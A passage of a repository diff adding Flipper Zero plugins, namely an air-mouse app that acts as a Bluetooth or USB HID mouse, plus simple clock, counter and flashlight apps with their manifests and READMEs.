#include "vector.h"
namespace cardboard {
// Returns the dot (inner) product of two Vectors.
double Dot(const Vector<3>& v0, const Vector<3>& v1);
// Returns the dot (inner) product of two Vectors.
double Dot(const Vector<4>& v0, const Vector<4>& v1);
// Returns the 3-dimensional cross product of 2 Vectors. Note that this is
// defined only for 3-dimensional Vectors.
Vector<3> Cross(const Vector<3>& v0, const Vector<3>& v1);
// Returns the square of the length of a Vector.
template <int Dimension>
double LengthSquared(const Vector<Dimension>& v) {
return Dot(v, v);
}
// Returns the geometric length of a Vector.
template <int Dimension>
double Length(const Vector<Dimension>& v) {
return sqrt(LengthSquared(v));
}
// the Vector untouched and returns false.
template <int Dimension>
bool Normalize(Vector<Dimension>* v) {
const double len = Length(*v);
if(len == 0) {
return false;
} else {
(*v) /= len;
return true;
}
}
// Returns a unit-length version of a Vector. If the given Vector has no
// length, this returns a Zero() Vector.
template <int Dimension>
Vector<Dimension> Normalized(const Vector<Dimension>& v) {
Vector<Dimension> result = v;
if(Normalize(&result))
return result;
else
return Vector<Dimension>::Zero();
}
} // namespace cardboard
#endif // CARDBOARD_SDK_UTIL_VECTORUTILS_H_
applications/plugins/airmouse/views/bt_mouse.c
+303
View File
@@ -0,0 +1,303 @@
#include "bt_mouse.h"
#include "../tracking/main_loop.h"
#include <furi.h>
#include <furi_hal_bt.h>
#include <furi_hal_bt_hid.h>
#include <furi_hal_usb_hid.h>
#include <bt/bt_service/bt.h>
#include <gui/elements.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
typedef struct ButtonEvent {
int8_t button;
bool state;
} ButtonEvent;
#define BTN_EVT_QUEUE_SIZE 32
struct BtMouse {
View* view;
ViewDispatcher* view_dispatcher;
Bt* bt;
NotificationApp* notifications;
FuriMutex* mutex;
FuriThread* thread;
bool connected;
// Current mouse state
uint8_t btn;
int dx;
int dy;
int wheel;
// Circular buffer;
// (qhead == qtail) means either empty or overflow.
// We'll ignore overflow and treat it as empty.
int qhead;
int qtail;
ButtonEvent queue[BTN_EVT_QUEUE_SIZE];
};
#define BT_MOUSE_FLAG_INPUT_EVENT (1UL << 0)
#define BT_MOUSE_FLAG_KILL_THREAD (1UL << 1)
#define BT_MOUSE_FLAG_ALL (BT_MOUSE_FLAG_INPUT_EVENT | BT_MOUSE_FLAG_KILL_THREAD)
#define MOUSE_MOVE_SHORT 5
#define MOUSE_MOVE_LONG 20
static void bt_mouse_notify_event(BtMouse* bt_mouse) {
FuriThreadId thread_id = furi_thread_get_id(bt_mouse->thread);
furi_assert(thread_id);
furi_thread_flags_set(thread_id, BT_MOUSE_FLAG_INPUT_EVENT);
}
static void bt_mouse_draw_callback(Canvas* canvas, void* context) {
UNUSED(context);
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 0, 10, "Bluetooth Mouse mode");
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 0, 63, "Hold [back] to exit");
}
static void bt_mouse_button_state(BtMouse* bt_mouse, int8_t button, bool state) {
ButtonEvent event;
event.button = button;
event.state = state;
if(bt_mouse->connected) {
furi_mutex_acquire(bt_mouse->mutex, FuriWaitForever);
bt_mouse->queue[bt_mouse->qtail++] = event;
bt_mouse->qtail %= BTN_EVT_QUEUE_SIZE;
furi_mutex_release(bt_mouse->mutex);
bt_mouse_notify_event(bt_mouse);
}
}
static void bt_mouse_process(BtMouse* bt_mouse, InputEvent* event) {
with_view_model(
bt_mouse->view,
void* model,
{
UNUSED(model);
if(event->key == InputKeyUp) {
if(event->type == InputTypePress) {
bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_LEFT, true);
} else if(event->type == InputTypeRelease) {
bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_LEFT, false);
}
} else if(event->key == InputKeyDown) {
if(event->type == InputTypePress) {
bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_RIGHT, true);
} else if(event->type == InputTypeRelease) {
bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_RIGHT, false);
}
} else if(event->key == InputKeyOk) {
if(event->type == InputTypePress) {
bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_WHEEL, true);
} else if(event->type == InputTypeRelease) {
bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_WHEEL, false);
}
}
},
true);
}
static bool bt_mouse_input_callback(InputEvent* event, void* context) {
furi_assert(context);
BtMouse* bt_mouse = context;
bool consumed = false;
if(event->type == InputTypeLong && event->key == InputKeyBack) {
furi_hal_bt_hid_mouse_release_all();
} else {
bt_mouse_process(bt_mouse, event);
consumed = true;
}
return consumed;
}
void bt_mouse_connection_status_changed_callback(BtStatus status, void* context) {
furi_assert(context);
BtMouse* bt_mouse = context;
bt_mouse->connected = (status == BtStatusConnected);
if(bt_mouse->connected) {
notification_internal_message(bt_mouse->notifications, &sequence_set_blue_255);
tracking_begin();
view_dispatcher_send_custom_event(bt_mouse->view_dispatcher, 0);
} else {
tracking_end();
notification_internal_message(bt_mouse->notifications, &sequence_reset_blue);
}
//with_view_model(
// bt_mouse->view, void * model, { model->connected = connected; }, true);
}
bool bt_mouse_move(int8_t dx, int8_t dy, void* context) {
furi_assert(context);
BtMouse* bt_mouse = context;
if(bt_mouse->connected) {
furi_mutex_acquire(bt_mouse->mutex, FuriWaitForever);
bt_mouse->dx += dx;
bt_mouse->dy += dy;
furi_mutex_release(bt_mouse->mutex);
bt_mouse_notify_event(bt_mouse);
}
return true;
}
void bt_mouse_enter_callback(void* context) {
furi_assert(context);
BtMouse* bt_mouse = context;
bt_mouse->bt = furi_record_open(RECORD_BT);
bt_mouse->notifications = furi_record_open(RECORD_NOTIFICATION);
bt_set_status_changed_callback(
bt_mouse->bt, bt_mouse_connection_status_changed_callback, bt_mouse);
furi_assert(bt_set_profile(bt_mouse->bt, BtProfileHidKeyboard));
furi_hal_bt_start_advertising();
}
bool bt_mouse_custom_callback(uint32_t event, void* context) {
UNUSED(event);
furi_assert(context);
BtMouse* bt_mouse = context;
tracking_step(bt_mouse_move, context);
furi_delay_ms(3); // Magic! Removing this will break the buttons
view_dispatcher_send_custom_event(bt_mouse->view_dispatcher, 0);
return true;
}
void bt_mouse_exit_callback(void* context) {
furi_assert(context);
BtMouse* bt_mouse = context;
tracking_end();
notification_internal_message(bt_mouse->notifications, &sequence_reset_blue);
furi_hal_bt_stop_advertising();
bt_set_profile(bt_mouse->bt, BtProfileSerial);
furi_record_close(RECORD_NOTIFICATION);
bt_mouse->notifications = NULL;
furi_record_close(RECORD_BT);
bt_mouse->bt = NULL;
}
static int8_t clamp(int t) {
if(t < -128) {
return -128;
} else if(t > 127) {
return 127;
}
return t;
}
static int32_t bt_mouse_thread_callback(void* context) {
furi_assert(context);
BtMouse* bt_mouse = (BtMouse*)context;
while(1) {
uint32_t flags =
furi_thread_flags_wait(BT_MOUSE_FLAG_ALL, FuriFlagWaitAny, FuriWaitForever);
if(flags & BT_MOUSE_FLAG_KILL_THREAD) {
break;
}
if(flags & BT_MOUSE_FLAG_INPUT_EVENT) {
furi_mutex_acquire(bt_mouse->mutex, FuriWaitForever);
ButtonEvent event;
bool send_buttons = false;
if(bt_mouse->qhead != bt_mouse->qtail) {
event = bt_mouse->queue[bt_mouse->qhead++];
bt_mouse->qhead %= BTN_EVT_QUEUE_SIZE;
send_buttons = true;
}
int8_t dx = clamp(bt_mouse->dx);
bt_mouse->dx -= dx;
int8_t dy = clamp(bt_mouse->dy);
bt_mouse->dy -= dy;
int8_t wheel = clamp(bt_mouse->wheel);
bt_mouse->wheel -= wheel;
furi_mutex_release(bt_mouse->mutex);
if(bt_mouse->connected && send_buttons) {
if(event.state) {
furi_hal_bt_hid_mouse_press(event.button);
} else {
furi_hal_bt_hid_mouse_release(event.button);
}
}
if(bt_mouse->connected && (dx != 0 || dy != 0)) {
furi_hal_bt_hid_mouse_move(dx, dy);
}
if(bt_mouse->connected && wheel != 0) {
furi_hal_bt_hid_mouse_scroll(wheel);
}
}
}
return 0;
}
void bt_mouse_thread_start(BtMouse* bt_mouse) {
furi_assert(bt_mouse);
bt_mouse->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
bt_mouse->thread = furi_thread_alloc();
furi_thread_set_name(bt_mouse->thread, "BtSender");
furi_thread_set_stack_size(bt_mouse->thread, 1024);
furi_thread_set_context(bt_mouse->thread, bt_mouse);
furi_thread_set_callback(bt_mouse->thread, bt_mouse_thread_callback);
furi_thread_start(bt_mouse->thread);
}
void bt_mouse_thread_stop(BtMouse* bt_mouse) {
furi_assert(bt_mouse);
FuriThreadId thread_id = furi_thread_get_id(bt_mouse->thread);
furi_assert(thread_id);
furi_thread_flags_set(thread_id, BT_MOUSE_FLAG_KILL_THREAD);
furi_thread_join(bt_mouse->thread);
furi_thread_free(bt_mouse->thread);
furi_mutex_free(bt_mouse->mutex);
}
BtMouse* bt_mouse_alloc(ViewDispatcher* view_dispatcher) {
BtMouse* bt_mouse = malloc(sizeof(BtMouse));
memset(bt_mouse, 0, sizeof(BtMouse));
bt_mouse->view = view_alloc();
bt_mouse->view_dispatcher = view_dispatcher;
view_set_context(bt_mouse->view, bt_mouse);
view_set_draw_callback(bt_mouse->view, bt_mouse_draw_callback);
view_set_input_callback(bt_mouse->view, bt_mouse_input_callback);
view_set_enter_callback(bt_mouse->view, bt_mouse_enter_callback);
view_set_custom_callback(bt_mouse->view, bt_mouse_custom_callback);
view_set_exit_callback(bt_mouse->view, bt_mouse_exit_callback);
bt_mouse_thread_start(bt_mouse);
return bt_mouse;
}
void bt_mouse_free(BtMouse* bt_mouse) {
furi_assert(bt_mouse);
bt_mouse_thread_stop(bt_mouse);
view_free(bt_mouse->view);
free(bt_mouse);
}
View* bt_mouse_get_view(BtMouse* bt_mouse) {
furi_assert(bt_mouse);
return bt_mouse->view;
}
applications/plugins/airmouse/views/bt_mouse.h
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#include <gui/view.h>
#include <gui/view_dispatcher.h>
typedef struct BtMouse BtMouse;
BtMouse* bt_mouse_alloc(ViewDispatcher* view_dispatcher);
void bt_mouse_free(BtMouse* bt_mouse);
View* bt_mouse_get_view(BtMouse* bt_mouse);
void bt_mouse_set_connected_status(BtMouse* bt_mouse, bool connected);
applications/plugins/airmouse/views/calibration.c
+69
View File
@@ -0,0 +1,69 @@
#include "calibration.h"
#include "../tracking/main_loop.h"
#include "../air_mouse.h"
#include <furi.h>
#include <gui/elements.h>
struct Calibration {
View* view;
ViewDispatcher* view_dispatcher;
};
static void calibration_draw_callback(Canvas* canvas, void* context) {
UNUSED(context);
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 0, 10, "Calibrating...");
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 0, 63, "Please wait");
}
void calibration_enter_callback(void* context) {
furi_assert(context);
Calibration* calibration = context;
calibration_begin();
view_dispatcher_send_custom_event(calibration->view_dispatcher, 0);
}
bool calibration_custom_callback(uint32_t event, void* context) {
UNUSED(event);
furi_assert(context);
Calibration* calibration = context;
if(calibration_step()) {
view_dispatcher_switch_to_view(calibration->view_dispatcher, AirMouseViewSubmenu);
} else {
view_dispatcher_send_custom_event(calibration->view_dispatcher, 0);
}
return true;
}
void calibration_exit_callback(void* context) {
furi_assert(context);
calibration_end();
}
Calibration* calibration_alloc(ViewDispatcher* view_dispatcher) {
Calibration* calibration = malloc(sizeof(Calibration));
calibration->view = view_alloc();
calibration->view_dispatcher = view_dispatcher;
view_set_context(calibration->view, calibration);
view_set_draw_callback(calibration->view, calibration_draw_callback);
view_set_enter_callback(calibration->view, calibration_enter_callback);
view_set_custom_callback(calibration->view, calibration_custom_callback);
view_set_exit_callback(calibration->view, calibration_exit_callback);
return calibration;
}
void calibration_free(Calibration* calibration) {
furi_assert(calibration);
view_free(calibration->view);
free(calibration);
}
View* calibration_get_view(Calibration* calibration) {
furi_assert(calibration);
return calibration->view;
}
applications/plugins/airmouse/views/calibration.h
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <gui/view.h>
#include <gui/view_dispatcher.h>
typedef struct Calibration Calibration;
Calibration* calibration_alloc(ViewDispatcher* view_dispatcher);
void calibration_free(Calibration* calibration);
View* calibration_get_view(Calibration* calibration);
applications/plugins/airmouse/views/usb_mouse.c
+129
View File
@@ -0,0 +1,129 @@
#include "usb_mouse.h"
#include "../tracking/main_loop.h"
#include <furi.h>
#include <furi_hal_usb.h>
#include <furi_hal_usb_hid.h>
#include <gui/elements.h>
struct UsbMouse {
View* view;
ViewDispatcher* view_dispatcher;
FuriHalUsbInterface* usb_mode_prev;
};
static void usb_mouse_draw_callback(Canvas* canvas, void* context) {
UNUSED(context);
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 0, 10, "USB Mouse mode");
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 0, 63, "Hold [back] to exit");
}
static void usb_mouse_process(UsbMouse* usb_mouse, InputEvent* event) {
with_view_model(
usb_mouse->view,
void* model,
{
UNUSED(model);
if(event->key == InputKeyUp) {
if(event->type == InputTypePress) {
furi_hal_hid_mouse_press(HID_MOUSE_BTN_LEFT);
} else if(event->type == InputTypeRelease) {
furi_hal_hid_mouse_release(HID_MOUSE_BTN_LEFT);
}
} else if(event->key == InputKeyDown) {
if(event->type == InputTypePress) {
furi_hal_hid_mouse_press(HID_MOUSE_BTN_RIGHT);
} else if(event->type == InputTypeRelease) {
furi_hal_hid_mouse_release(HID_MOUSE_BTN_RIGHT);
}
} else if(event->key == InputKeyOk) {
if(event->type == InputTypePress) {
furi_hal_hid_mouse_press(HID_MOUSE_BTN_WHEEL);
} else if(event->type == InputTypeRelease) {
furi_hal_hid_mouse_release(HID_MOUSE_BTN_WHEEL);
}
}
},
true);
}
static bool usb_mouse_input_callback(InputEvent* event, void* context) {
furi_assert(context);
UsbMouse* usb_mouse = context;
bool consumed = false;
if(event->type == InputTypeLong && event->key == InputKeyBack) {
// furi_hal_hid_mouse_release_all();
} else {
usb_mouse_process(usb_mouse, event);
consumed = true;
}
return consumed;
}
void usb_mouse_enter_callback(void* context) {
furi_assert(context);
UsbMouse* usb_mouse = context;
usb_mouse->usb_mode_prev = furi_hal_usb_get_config();
furi_hal_usb_unlock();
furi_check(furi_hal_usb_set_config(&usb_hid, NULL) == true);
tracking_begin();
view_dispatcher_send_custom_event(usb_mouse->view_dispatcher, 0);
}
bool usb_mouse_move(int8_t dx, int8_t dy, void* context) {
UNUSED(context);
return furi_hal_hid_mouse_move(dx, dy);
}
bool usb_mouse_custom_callback(uint32_t event, void* context) {
UNUSED(event);
furi_assert(context);
UsbMouse* usb_mouse = context;
tracking_step(usb_mouse_move, context);
furi_delay_ms(3); // Magic! Removing this will break the buttons
view_dispatcher_send_custom_event(usb_mouse->view_dispatcher, 0);
return true;
}
void usb_mouse_exit_callback(void* context) {
furi_assert(context);
UsbMouse* usb_mouse = context;
tracking_end();
furi_hal_usb_set_config(usb_mouse->usb_mode_prev, NULL);
}
UsbMouse* usb_mouse_alloc(ViewDispatcher* view_dispatcher) {
UsbMouse* usb_mouse = malloc(sizeof(UsbMouse));
usb_mouse->view = view_alloc();
usb_mouse->view_dispatcher = view_dispatcher;
view_set_context(usb_mouse->view, usb_mouse);
view_set_draw_callback(usb_mouse->view, usb_mouse_draw_callback);
view_set_input_callback(usb_mouse->view, usb_mouse_input_callback);
view_set_enter_callback(usb_mouse->view, usb_mouse_enter_callback);
view_set_custom_callback(usb_mouse->view, usb_mouse_custom_callback);
view_set_exit_callback(usb_mouse->view, usb_mouse_exit_callback);
return usb_mouse;
}
void usb_mouse_free(UsbMouse* usb_mouse) {
furi_assert(usb_mouse);
view_free(usb_mouse->view);
free(usb_mouse);
}
View* usb_mouse_get_view(UsbMouse* usb_mouse) {
furi_assert(usb_mouse);
return usb_mouse->view;
}
applications/plugins/airmouse/views/usb_mouse.h
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <gui/view.h>
#include <gui/view_dispatcher.h>
typedef struct UsbMouse UsbMouse;
UsbMouse* usb_mouse_alloc(ViewDispatcher* view_dispatcher);
void usb_mouse_free(UsbMouse* usb_mouse);
View* usb_mouse_get_view(UsbMouse* usb_mouse);
applications/plugins/clock/application.fam
+10
View File
@@ -0,0 +1,10 @@
App(
appid="ClockV1",
name="Clock",
apptype=FlipperAppType.EXTERNAL,
entry_point="clock_app",
requires=["gui"],
stack_size=2 * 1024,
fap_icon="clock.png",
fap_category="Tools",
)
applications/plugins/clock/clock.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.9 KiB

applications/plugins/clock/clock_app.c
+136
View File
@@ -0,0 +1,136 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <locale/locale.h>
typedef enum {
ClockEventTypeTick,
ClockEventTypeKey,
} ClockEventType;
typedef struct {
ClockEventType type;
InputEvent input;
} ClockEvent;
typedef struct {
FuriString* buffer;
FuriHalRtcDateTime datetime;
LocaleTimeFormat timeformat;
LocaleDateFormat dateformat;
} ClockData;
typedef struct {
FuriMutex* mutex;
FuriMessageQueue* queue;
ClockData* data;
} Clock;
static void clock_input_callback(InputEvent* input_event, FuriMessageQueue* queue) {
furi_assert(queue);
ClockEvent event = {.type = ClockEventTypeKey, .input = *input_event};
furi_message_queue_put(queue, &event, FuriWaitForever);
}
static void clock_render_callback(Canvas* canvas, void* ctx) {
Clock* clock = ctx;
if(furi_mutex_acquire(clock->mutex, 200) != FuriStatusOk) {
return;
}
ClockData* data = clock->data;
canvas_set_font(canvas, FontBigNumbers);
locale_format_time(data->buffer, &data->datetime, data->timeformat, true);
canvas_draw_str_aligned(
canvas, 64, 28, AlignCenter, AlignCenter, furi_string_get_cstr(data->buffer));
// Special case to cover missing glyphs in FontBigNumbers
if(data->timeformat == LocaleTimeFormat12h) {
size_t time_width = canvas_string_width(canvas, furi_string_get_cstr(data->buffer));
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas,
64 + (time_width / 2) - 10,
31,
AlignLeft,
AlignCenter,
(data->datetime.hour > 12) ? "AM" : "PM");
}
canvas_set_font(canvas, FontSecondary);
locale_format_date(data->buffer, &data->datetime, data->dateformat, "/");
canvas_draw_str_aligned(
canvas, 64, 42, AlignCenter, AlignTop, furi_string_get_cstr(data->buffer));
furi_mutex_release(clock->mutex);
}
static void clock_tick(void* ctx) {
furi_assert(ctx);
FuriMessageQueue* queue = ctx;
ClockEvent event = {.type = ClockEventTypeTick};
// It's OK to loose this event if system overloaded
furi_message_queue_put(queue, &event, 0);
}
int32_t clock_app(void* p) {
UNUSED(p);
Clock* clock = malloc(sizeof(Clock));
clock->data = malloc(sizeof(ClockData));
clock->data->buffer = furi_string_alloc();
clock->queue = furi_message_queue_alloc(8, sizeof(ClockEvent));
clock->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
furi_hal_rtc_get_datetime(&clock->data->datetime);
clock->data->timeformat = locale_get_time_format();
clock->data->dateformat = locale_get_date_format();
// Set ViewPort callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, clock_render_callback, clock);
view_port_input_callback_set(view_port, clock_input_callback, clock->queue);
FuriTimer* timer = furi_timer_alloc(clock_tick, FuriTimerTypePeriodic, clock->queue);
// Open GUI and register view_port
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
furi_timer_start(timer, 100);
// Main loop
ClockEvent event;
for(bool processing = true; processing;) {
furi_check(furi_message_queue_get(clock->queue, &event, FuriWaitForever) == FuriStatusOk);
furi_mutex_acquire(clock->mutex, FuriWaitForever);
if(event.type == ClockEventTypeKey) {
if(event.input.type == InputTypeShort && event.input.key == InputKeyBack) {
processing = false;
}
} else if(event.type == ClockEventTypeTick) {
furi_hal_rtc_get_datetime(&clock->data->datetime);
}
furi_mutex_release(clock->mutex);
view_port_update(view_port);
}
furi_timer_free(timer);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_record_close(RECORD_GUI);
furi_message_queue_free(clock->queue);
furi_mutex_free(clock->mutex);
furi_string_free(clock->data->buffer);
free(clock->data);
free(clock);
return 0;
}
applications/plugins/counter/README.md
+8
View File
@@ -0,0 +1,8 @@
# Dolphin counter
This is a simple plugin for the [Flipper Zero](https://www.flipperzero.one).
It gives you access to a counter which you can increment and decrement using the up and down buttons respectively.
![preview](https://github.com/Krulknul/dolphin-counter/blob/main/media/preview.gif)
# How to install this?
I'd recommend using [flipperzero-ufbt](https://github.com/flipperdevices/flipperzero-ufbt), which is a lightweight tool for quickly testing Flipper Zero applications. The app will stay present on your device so it is not necessary to flash the entire firmware.
applications/plugins/counter/application.fam
+12
View File
@@ -0,0 +1,12 @@
App(
appid="Counter",
name="Counter",
apptype=FlipperAppType.EXTERNAL,
entry_point="counterapp",
requires=[
"gui",
],
fap_category="Misc",
fap_icon="icons/counter_icon.png",
fap_icon_assets="icons",
)
applications/plugins/counter/counter.c
+108
View File
@@ -0,0 +1,108 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <Counter_icons.h>
#define MAX_COUNT 99
#define BOXTIME 2
#define BOXWIDTH 30
#define MIDDLE_X 64 - BOXWIDTH / 2
#define MIDDLE_Y 32 - BOXWIDTH / 2
#define OFFSET_Y 9
typedef struct {
FuriMessageQueue* input_queue;
ViewPort* view_port;
Gui* gui;
FuriMutex** mutex;
int count;
bool pressed;
int boxtimer;
} Counter;
void state_free(Counter* c) {
gui_remove_view_port(c->gui, c->view_port);
furi_record_close(RECORD_GUI);
view_port_free(c->view_port);
furi_message_queue_free(c->input_queue);
furi_mutex_free(c->mutex);
free(c);
}
static void input_callback(InputEvent* input_event, void* ctx) {
Counter* c = ctx;
if(input_event->type == InputTypeShort) {
furi_message_queue_put(c->input_queue, input_event, 0);
}
}
static void render_callback(Canvas* canvas, void* ctx) {
Counter* c = ctx;
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
canvas_clear(canvas);
canvas_set_color(canvas, ColorBlack);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignCenter, "Counter :)");
canvas_set_font(canvas, FontBigNumbers);
char scount[5];
if(c->pressed == true || c->boxtimer > 0) {
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
canvas_draw_rframe(
canvas, MIDDLE_X - 1, MIDDLE_Y + OFFSET_Y - 1, BOXWIDTH + 2, BOXWIDTH + 2, 5);
canvas_draw_rframe(
canvas, MIDDLE_X - 2, MIDDLE_Y + OFFSET_Y - 2, BOXWIDTH + 4, BOXWIDTH + 4, 5);
c->pressed = false;
c->boxtimer--;
} else {
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
}
snprintf(scount, sizeof(scount), "%d", c->count);
canvas_draw_str_aligned(canvas, 64, 32 + OFFSET_Y, AlignCenter, AlignCenter, scount);
furi_mutex_release(c->mutex);
}
Counter* state_init() {
Counter* c = malloc(sizeof(Counter));
c->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
c->view_port = view_port_alloc();
c->gui = furi_record_open(RECORD_GUI);
c->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
c->count = 0;
c->boxtimer = 0;
view_port_input_callback_set(c->view_port, input_callback, c);
view_port_draw_callback_set(c->view_port, render_callback, c);
gui_add_view_port(c->gui, c->view_port, GuiLayerFullscreen);
return c;
}
int32_t counterapp(void) {
Counter* c = state_init();
while(1) {
InputEvent input;
while(furi_message_queue_get(c->input_queue, &input, FuriWaitForever) == FuriStatusOk) {
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
if(input.key == InputKeyBack) {
furi_mutex_release(c->mutex);
state_free(c);
return 0;
} else if((input.key == InputKeyUp || input.key == InputKeyOk) && c->count < MAX_COUNT) {
c->pressed = true;
c->boxtimer = BOXTIME;
c->count++;
} else if(input.key == InputKeyDown && c->count != 0) {
c->pressed = true;
c->boxtimer = BOXTIME;
c->count--;
}
furi_mutex_release(c->mutex);
view_port_update(c->view_port);
}
}
state_free(c);
return 0;
}
applications/plugins/counter/icons/counter_icon.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 233 B

applications/plugins/counter/media/preview.gif
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 21 MiB

applications/plugins/flashlight/LICENSE
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 MX
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
applications/plugins/flashlight/README.md
+7
View File
@@ -0,0 +1,7 @@
# Flashlight Plugin for Flipper Zero
Simple Flashlight special for @Svaarich by @xMasterX
Enables 3.3v on pin 7/C3 and leaves it on when you exit app
**Connect LED to (+ -> 7/C3) | (GND -> GND)**
applications/plugins/flashlight/application.fam
+14
View File
@@ -0,0 +1,14 @@
App(
appid="Flashlight",
name="Flashlight",
apptype=FlipperAppType.EXTERNAL,
entry_point="flashlight_app",
cdefines=["APP_FLASHLIGHT"],
requires=[
"gui",
],
stack_size=2 * 1024,
order=20,
fap_icon="flash10px.png",
fap_category="GPIO",
)
applications/plugins/flashlight/flash10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 148 B

applications/plugins/flashlight/flashlight.c
+130
View File
@@ -0,0 +1,130 @@
// by @xMasterX
#include <furi.h>
#include <furi_hal_power.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <gui/elements.h>
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
bool is_on;
} PluginState;
static void render_callback(Canvas* const canvas, void* ctx) {
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
canvas_set_font(canvas, FontPrimary);
elements_multiline_text_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Flashlight");
canvas_set_font(canvas, FontSecondary);
if(!plugin_state->is_on) {
elements_multiline_text_aligned(
canvas, 64, 28, AlignCenter, AlignTop, "Press OK button turn on");
} else {
elements_multiline_text_aligned(canvas, 64, 28, AlignCenter, AlignTop, "Light is on!");
elements_multiline_text_aligned(
canvas, 64, 40, AlignCenter, AlignTop, "Press OK button to off");
}
release_mutex((ValueMutex*)ctx, plugin_state);
}
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void flash_toggle(PluginState* const plugin_state) {
furi_hal_gpio_write(&gpio_ext_pc3, false);
furi_hal_gpio_init(&gpio_ext_pc3, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
if(plugin_state->is_on) {
furi_hal_gpio_write(&gpio_ext_pc3, false);
plugin_state->is_on = false;
} else {
furi_hal_gpio_write(&gpio_ext_pc3, true);
plugin_state->is_on = true;
}
}
int32_t flashlight_app() {
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E("flashlight", "cannot create mutex\r\n");
furi_message_queue_free(event_queue);
free(plugin_state);
return 255;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
case InputKeyDown:
case InputKeyRight:
case InputKeyLeft:
break;
case InputKeyOk:
flash_toggle(plugin_state);
break;
case InputKeyBack:
processing = false;
break;
default:
break;
}
}
}
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
view_port_free(view_port);
furi_message_queue_free(event_queue);
delete_mutex(&state_mutex);
return 0;
}
applications/plugins/game15/README.md
+13
View File
@@ -0,0 +1,13 @@
# Game "15" for Flipper Zero
